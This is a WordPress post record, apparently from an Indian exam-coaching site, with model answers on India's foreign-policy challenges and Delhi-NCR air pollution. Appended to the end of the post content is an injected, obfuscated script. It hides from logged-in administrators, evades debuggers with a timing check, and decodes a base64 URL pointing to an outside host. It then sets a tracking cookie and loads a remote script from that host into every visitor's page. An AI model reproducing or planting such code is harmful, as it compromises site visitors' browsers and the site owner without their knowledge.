{"id":2616,"date":"2025-10-22T13:43:10","date_gmt":"2025-10-22T13:43:10","guid":{"rendered":"https:\/\/iasquest.com\/?p=2616"},"modified":"2026-02-11T18:49:58","modified_gmt":"2026-02-11T18:49:58","slug":"indias-foreign-policy-urban-air-pollution","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/indias-foreign-policy-urban-air-pollution\/","title":{"rendered":"India\u2019s Foreign Policy &#038; Urban Air Pollution"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#fe0000\"><strong>1. Critically examine the challenges India faces in aligning its foreign policy with changing global and regional dynamics. Suggest measures to enhance its strategic relevance.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/strong> <br><strong>General Studies \u2013 III:\u00a0 International Relations &#8211; Bilateral, regional and global groupings and agreements involving India and\/or affecting India\u2019s interests.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS: India\u2019s travails in negotiating a friendless world &#8211; THE HINDU<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">India, the world\u2019s fifth-largest economy (IMF, 2024), aspires to shape global norms and regional stability. Yet, its foreign policy apparatus faces strain in a fast-evolving world order. For instance, India\u2019s <strong>non-invitation to the Gaza Peace Summit (2025)<\/strong> reflects a perception of decreasing geopolitical influence, despite India\u2019s growing economic and military clout.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color has-medium-font-size wp-elements-4 wp-block-paragraph\"><strong>Challenges in Aligning India\u2019s Foreign Policy<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-5\"><a><\/a><strong>1. Geopolitical Realignments and India\u2019s Marginalisation<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-6\">\n<li>India was absent in the Gaza peace deal (2025) brokered by the U.S., Turkiye, Egypt, and Qatar.<\/li>\n\n\n\n<li>India&#8217;s exclusion reflects a disconnect between global negotiations and Indian diplomacy.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-7\"><strong>2. Regional Instability and a Weak Neighbourhood Policy<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li>Nepal&#8217;s Gen Z movement in 2025 erupted with India as a silent observer.<\/li>\n\n\n\n<li>Afghanistan: Post-Taliban resurgence and instability spill over into India-Pakistan relations<strong>.<\/strong><\/li>\n\n\n\n<li><strong>Example: <\/strong>Despite investing over $3 billion in Afghan reconstruction, India has limited strategic leverage post-2021 U.S. withdrawal.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-9\"><a><\/a><strong>3. Erosion of Trust and Image among Neighbours<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>Perceived heavy-handedness and big brother syndrome in Bangladesh, Sri Lanka, and Nepal.<\/li>\n\n\n\n<li>Example: Sri Lanka\u2019s tilt towards China during the Hambantota port lease shows a loss of Indian strategic space.<\/li>\n\n\n\n<li>India\u2019s slow vaccine diplomacy (post-Delta wave) contrasted poorly with China\u2019s fast-paced aid programs.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-11\"><a><\/a><strong>4. Overdependence on the U.S. and Western Bloc<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>India&#8217;s foreign policy is often seen as West-tilted, especially in strategic forums like the Quad.<\/li>\n\n\n\n<li><strong>Example:<\/strong> India walked out of RCEP (2020) due to domestic concerns, missing a chance to shape Asia-Pacific trade norms.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-13\"><a><\/a><strong>5. China\u2019s Expanding Influence<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>BRI projects in Nepal, Sri Lanka, and Pakistan have encircled India geopolitically.<\/li>\n\n\n\n<li>China is now Bangladesh\u2019s top arms supplier and Nepal\u2019s largest FDI source.<\/li>\n\n\n\n<li><strong>Example:<\/strong> The Galwan clash (2020) and border tensions have exposed the gap between diplomatic rhetoric and preparedness.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-15\"><a><\/a><strong>6. Weak Institutional Capacity<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>India\u2019s MEA has about 1,000 IFS officers, significantly fewer than China (6,000+) or the U.S. (13,000).<\/li>\n\n\n\n<li>Strategic policy often lacks think tank support and inter-agency coordination.<\/li>\n\n\n\n<li>Delayed diplomatic postings and slow response to regional shifts hurt agility.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color has-medium-font-size wp-elements-17 wp-block-paragraph\"><strong>Measures to Enhance India\u2019s Strategic Relevance<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-18\"><a><\/a><strong>1. Recalibrate Strategic Vision<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>Shift from ideology-driven non-alignment to interest-based multi-alignment.<\/li>\n\n\n\n<li><strong>Example:<\/strong> Engage in I2U2 (India-Israel-UAE-USA), IBSA, and BRICS selectively, based on issue convergence<strong>.<\/strong><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-20\"><a><\/a><strong>2. Revitalise Neighbourhood First<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Prioritise subregional connectivity (e.g., BBIN corridor, Kaladan multimodal project).<\/li>\n\n\n\n<li>Use cultural diplomacy through Buddhism, cinema, and diaspora.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-22\"><a><\/a><strong>3. Strategic Economic Diplomacy<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Expand FTAs (e.g., with UAE, Australia), and pursue IMEC (India-Middle East-Europe Corridor) as a counter to BRI.<\/li>\n\n\n\n<li><strong>Example:<\/strong> India-EFTA FTA (2024) signals a willingness to engage economically.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-24\"><a><\/a><strong>4. Strengthen MEA and Institutional Capacity<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Increase IFS recruitment, promote lateral entry, and invest in language\/area specialisation.<\/li>\n\n\n\n<li>Empower Indian Council of World Affairs (ICWA) and RIS to contribute to policymaking.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-26\"><a><\/a><strong>5. Develop a Realistic China Policy<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>Assert India\u2019s stance on the LAC, while engaging China economically where interests align.<\/li>\n\n\n\n<li>Build coalitions in ASEAN, Africa, and Central Asia to counterbalance.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-28\"><a><\/a><strong>6. Leverage Soft Power and Diaspora<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>Promote Study in India, digital infrastructure exports (e.g., UPI, CoWIN), and AYUSH diplomacy.<\/li>\n\n\n\n<li>Tap into 33-million-strong Indian diaspora to build informal diplomatic networks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">In a fragmented global order, India must match its aspirations with diplomatic agility, strategic clarity, and proactive regional engagement. To remain a shaper of global affairs, it must invest in a robust diplomatic ecosystem and rebuild trust at both regional and global levels.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. What are the challenges to India\u2019s diplomatic relations with its neighbours? Discuss the measures to be taken to overcome these challenges.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/indias-travails-in-negotiating-a-friendless-world\/article70187196.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/indias-travails-in-negotiating-a-friendless-world\/article70187196.ece<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading has-text-color has-link-color has-medium-font-size wp-elements-32\" style=\"color:#ff0000\"><a><\/a><strong>2. Urban air pollution in India remains a persistent challenge despite seasonal relief. Examine the key natural and anthropogenic factors contributing to this crisis, with reference to Delhi-NCR. Suggest long-term mitigation measures.<\/strong><strong><\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies III (Environment) &#8211; Environmental pollution and degradation, Climate change and disaster management<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>IN NEWS:<\/strong>&nbsp; Warmer weather, timely monsoon withdrawal meant slightly better air around Diwali. But worse is to come &#8211; Indian express<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">According to the World Air Quality Report 2023, Delhi was ranked among the most polluted capital cities globally, with an annual PM2.5 concentration exceeding 90 \u00b5g\/m\u00b3, far above the WHO safe limit of 5 \u00b5g\/m\u00b3. While short-term climatic phenomena like La Ni\u00f1a or western disturbances offer temporary relief, the structural nature of pollution in Delhi-NCR demands sustained attention to both natural and man-made causes<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-35\"><a><\/a><strong>Natural Factors Contributing to Urban Air Pollution<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>1. Climatic Patterns and Seasonal Changes<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-37\">\n<li><strong>Delayed monsoon withdrawal<\/strong>, now a trend due to climate change, creates <strong>anti-cyclonic conditions<\/strong> and <strong>low wind speeds<\/strong>, trapping pollutants.<\/li>\n\n\n\n<li><strong>E.g.,<\/strong> SAFAR reports show that <strong>late monsoon retreat<\/strong> in recent years has coincided with poor air dispersion.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>2. Temperature Inversion and Boundary Layer Compression<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>During winters, <strong>cold air settles close to the ground<\/strong>, acting as a lid that <strong>traps pollutants<\/strong> from surface-level emissions.<\/li>\n\n\n\n<li><strong>E.g.,<\/strong> NIAS studies note that compressed boundary layers intensify smog events in NCR.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>3. Western Disturbances and Rainfall<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>Occasional post-monsoon rainfall can <strong>temporarily wash pollutants<\/strong>, improving AQI.<\/li>\n\n\n\n<li><strong>E.g.<\/strong><em>,<\/em> The <strong>2025 monsoon withdrew early<\/strong>, and frequent western disturbances helped lower pollution temporarily.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-42\"><a><\/a><strong>Anthropogenic Factors<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>1. Stubble Burning in Punjab and Haryana<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li>Contributes up to <strong>35\u201345% of PM2.5 levels in NCR<\/strong> during October\u2013November, as per SAFAR estimates.<\/li>\n\n\n\n<li>In 2025, delayed paddy harvest due to floods postponed burning but may still coincide with colder months.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>2. Vehicular Emissions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-46\">\n<li>Contribute nearly <strong>28% of PM2.5<\/strong> in Delhi. Old diesel vehicles, poor public transport, and last-mile delivery traffic worsen the problem.<\/li>\n\n\n\n<li><strong>E.g., <\/strong>Delhi&#8217;s vehicle population crossed <strong>1.2 crore in 2023<\/strong>, according to Delhi Transport Department.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>3. Construction and Dust Pollution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>Road dust accounts for <strong>over 25% of Delhi\u2019s PM10 emissions<\/strong>, per CPCB data.<\/li>\n\n\n\n<li>Construction activity remains poorly regulated despite norms like <strong>GRAP (Graded Response Action Plan).<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>4. Industrial and Power Plant Emissions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li>NCR houses numerous <strong>brick kilns, DG sets, and coal-based plants<\/strong>.<\/li>\n\n\n\n<li><strong>E.g., <\/strong>The <strong>Badarpur thermal power plant<\/strong> was closed in 2018 due to its massive pollution load.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>5. Firecrackers and Festive Emissions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li>Even &#8220;green&#8221; firecrackers emit <strong>60\u201370% of conventional pollutants<\/strong>.<\/li>\n\n\n\n<li>AQI spikes sharply around <strong>Diwali<\/strong>, often entering \u201csevere\u201d or \u201chazardous\u201d levels.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>6. Urban Planning and Localised Emissions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-54\">\n<li>Dense residential clusters, inadequate waste management, and unplanned urban sprawl worsen <strong>neighbourhood-level emissions<\/strong>.<\/li>\n\n\n\n<li><strong>E.g.,<\/strong> Monitoring stations near Anand Vihar consistently report AQI > 400 in peak winter.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-55\"><a><\/a><strong>Long-Term Mitigation Measures<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>1. Airshed-Based Management Approach<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>Move beyond city-centric strategies to <strong>regional pollution management<\/strong> (Delhi + neighbouring states).<\/li>\n\n\n\n<li><strong>E.g.,<\/strong> Implement NIAS-proposed <strong>NARFI (National Air Quality Resource Framework of India)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>2. Crop Diversification and Stubble Management<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>Incentivise <strong>non-paddy crops<\/strong>, subsidise <strong>in-situ management tools<\/strong> like <strong>Happy Seeder<\/strong>, and improve MSP regimes.<\/li>\n\n\n\n<li>Use <strong>biodecomposer solutions<\/strong> at scale (pilot-tested in Delhi).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>3. Clean Mobility and Public Transport<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>Expand <strong>electric bus fleets<\/strong>, enforce <strong>scrappage policy<\/strong>, and promote <strong>non-motorised transport<\/strong>.<\/li>\n\n\n\n<li><strong>E.g.<\/strong><em>,<\/em> Delhi EV policy targets <strong>25% of all vehicles to be electric by 2025<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>4. Strengthen Monitoring and Data Transparency<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li>Upgrade <strong>real-time pollution monitoring<\/strong>, ensure <strong>open-access AQI data<\/strong>, and improve accuracy (e.g., fix capping errors in AQI algorithms).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>5. Industrial Emission Control<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li>Enforce <strong>fuel switching (to PNG)<\/strong>, promote <strong>zero-liquid discharge<\/strong>, and adopt <strong>continuous emission monitoring<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>6. Urban Planning Reforms<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li>Create <strong>green buffers<\/strong>, regulate land use, and design <strong>low-emission zones<\/strong> in high-density areas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>7. Public Awareness and Behavioural Change<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li>Campaigns like <strong>&#8220;Red Light On, Gaadi Off&#8221;<\/strong>, school-based education, and citizen science participation can help reduce micro-level emissions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">Delhi\u2019s air pollution crisis demands a coordinated, multi-sectoral response beyond seasonal fixes. Structural reforms in agriculture, mobility, and governance, guided by science-based frameworks like NARFI, are essential to shift from reactive measures to long-term prevention and resilience.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE [2020]<\/strong> <br><strong>Q. What are the key features of the National Clean Air Programme (NCAP) initiated by the Government of India? How far do you think this programme has succeeded?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/opinion\/columns\/warmer-weather-timely-monsoon-withdrawal-meant-slightly-better-air-around-diwali-but-worse-is-to-come-10319685\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/opinion\/columns\/warmer-weather-timely-monsoon-withdrawal-meant-slightly-better-air-around-diwali-but-worse-is-to-come-10319685\/<\/strong><\/a><strong><\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Critically examine the challenges India faces in aligning its foreign policy with changing global and regional dynamics. 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